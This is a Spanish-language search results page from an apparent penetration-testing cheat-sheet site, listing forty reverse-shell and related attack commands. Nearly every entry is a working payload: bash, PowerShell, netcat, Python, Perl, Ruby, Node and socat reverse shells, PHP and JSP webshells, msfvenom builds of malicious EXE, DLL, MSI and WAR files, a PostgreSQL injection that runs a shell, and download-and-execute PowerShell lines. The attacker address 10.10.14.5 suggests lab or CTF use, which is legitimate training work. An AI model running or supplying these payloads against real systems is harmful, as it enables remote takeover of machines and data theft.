Buscar en todo
40 resultados para «reverse shell» Ver todos los tipos
Comandos 40
-
Reverse shell con COPY
Payloads de inyección SQL › PostgreSQL › Ficheros y RCE
'; COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.14.5/443 0>&1"';-- -
Reverse shell en una línea
Generador de reverse shells › Windows › PowerShell
powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('10.10.14.5',443);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$r2=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($r2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()" -
Webshell que lanza la reverse shell
Generador de reverse shells › Webshells › PHP
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'"); ?> -
Recibir una reverse shell de la red interna
Ligolo-ng › Versiones recientes (0.6 o superior)
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:4444 --tcp -
Cuando falla la reverse shell de PowerShell: usa netcat
Evasión explicada: AMSI, ETW y AppLocker › AppLocker / CLM › Por dónde se escapa (conceptos)
# Es la lección de Sniper: en modo restringido el one-liner de PowerShell no corre, pero un nc.exe subido a una carpeta permitida sí. nc.exe 10.10.14.5 443 -e cmd.exe -
Shellcode en C para Windows
Generador de reverse shells › msfvenom › Shellcode
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 EXITFUNC=thread -b '\x00\x0a\x0d' -f c -
Shellcode en Python sin bytes nulos
Generador de reverse shells › msfvenom › Shellcode
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -b '\x00' -f python -
Webshell mínima
Generador de reverse shells › Webshells › PHP
<?php system($_GET['cmd']); ?> -
Listener para ConPtyShell
Generador de reverse shells › Windows › Con binarios
stty raw -echo; (stty size; cat) | nc -lvnp 443 -
Invocar la webshell con curl
Generador de reverse shells › Webshells › PHP
curl -G 'http://VICTIMA/uploads/shell.php' --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1'" -
TTY completa en Windows (ConPtyShell)
Generador de reverse shells › Windows › Con binarios
IEX(IWR http://10.10.14.5/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell 10.10.14.5 443 -
Nishang Invoke-PowerShellTcp desde tu servidor
Generador de reverse shells › Windows › PowerShell
powershell -nop -c "IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.5/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.5 -Port 443" -
JSP
Generador de reverse shells › Webshells › Otros lenguajes
<% Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/10.10.14.5/443 0>&1"}); %> -
Lua
Generador de reverse shells › Linux › Lenguajes de scripting
lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.10.14.5','443');os.execute('sh -i <&3 >&3 2>&3');" -
PHP
Generador de reverse shells › Linux › Lenguajes de scripting
php -r '$s=fsockopen("10.10.14.5",443);exec("sh <&3 >&3 2>&3");' -
PHP
Generador de reverse shells › msfvenom › Web
msfvenom -p php/reverse_php LHOST=10.10.14.5 LPORT=443 -f raw -o shell.php -
Perl
Generador de reverse shells › Linux › Lenguajes de scripting
perl -e 'use Socket;$i="10.10.14.5";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("sh -i");};' -
Ruby
Generador de reverse shells › Linux › Lenguajes de scripting
ruby -rsocket -e 'f=TCPSocket.open("10.10.14.5",443).to_i;exec sprintf("sh -i <&%d >&%d 2>&%d",f,f,f)' -
netcat
Generador de reverse shells › Linux › Escuchar en tu máquina
nc -lvnp 443 -
BusyBox
Generador de reverse shells › Linux › Netcat
busybox nc 10.10.14.5 443 -e sh -
Node.js
Generador de reverse shells › Linux › Lenguajes de scripting
node -e 'sh=require("child_process").spawn("sh");require("net").connect(443,"10.10.14.5",function(){this.pipe(sh.stdin);sh.stdout.pipe(this);sh.stderr.pipe(this)})' -
Conectar
Generador de reverse shells › Linux › Shell con TTY completa (socat)
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.5:443 -
Escuchar
Generador de reverse shells › Linux › Shell con TTY completa (socat)
socat file:`tty`,raw,echo=0 tcp-listen:443 -
Python 3
Generador de reverse shells › Linux › Lenguajes de scripting
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.5",443));[os.dup2(s.fileno(),f) for f in (0,1,2)];pty.spawn("bash")' -
nc con -e
Generador de reverse shells › Linux › Netcat
nc -e /bin/bash 10.10.14.5 443 -
WAR (Tomcat)
Generador de reverse shells › msfvenom › Web
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f war -o shell.war -
Linux ELF x64
Generador de reverse shells › msfvenom › Ejecutables
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f elf -o shell.elf -
ASPX (Windows)
Generador de reverse shells › Webshells › Otros lenguajes
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f aspx -o shell.aspx -
Windows EXE x64
Generador de reverse shells › msfvenom › Ejecutables
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f exe -o shell.exe -
Bash por /dev/tcp
Generador de reverse shells › Linux › Bash
bash -c 'bash -i >& /dev/tcp/10.10.14.5/443 0>&1' -
Saber tu IP de la VPN
Generador de reverse shells › Linux › Escuchar en tu máquina
ip -4 addr show tun0 | grep -oP '(?<=inet )[\d.]+' -
Bash con descriptor 196
Generador de reverse shells › Linux › Bash
0<&196;exec 196<>/dev/tcp/10.10.14.5/443; sh <&196 >&196 2>&196 -
Instalar un MSI malicioso
Escalada en Windows y Active Directory › Windows › AlwaysInstallElevated
msiexec /quiet /qn /i C:\Windows\Temp\shell.msi -
Historial y flechas con rlwrap
Mejorar la shell a una TTY completa › Otros casos › Windows
rlwrap -cAr nc -lvnp 443 -
nc.exe desde un recurso SMB tuyo
Generador de reverse shells › Windows › Con binarios
\\10.10.14.5\share\nc.exe -e cmd.exe 10.10.14.5 443 -
DLL de Windows (secuestro de DLL)
Generador de reverse shells › msfvenom › Ejecutables
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f dll -o shell.dll -
mkfifo (funciona con cualquier nc)
Generador de reverse shells › Linux › Netcat
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 443 >/tmp/f -
netcat con historial y flechas (rlwrap)
Generador de reverse shells › Linux › Escuchar en tu máquina
rlwrap -cAr nc -lvnp 443 -
Windows MSI (para AlwaysInstallElevated)
Generador de reverse shells › msfvenom › Ejecutables
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.14.5 LPORT=443 -f msi -o shell.msi -
Para inyecciones en URL (sin espacios ni &)
Generador de reverse shells › Linux › Bash
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.5%2F443%200%3E%261%22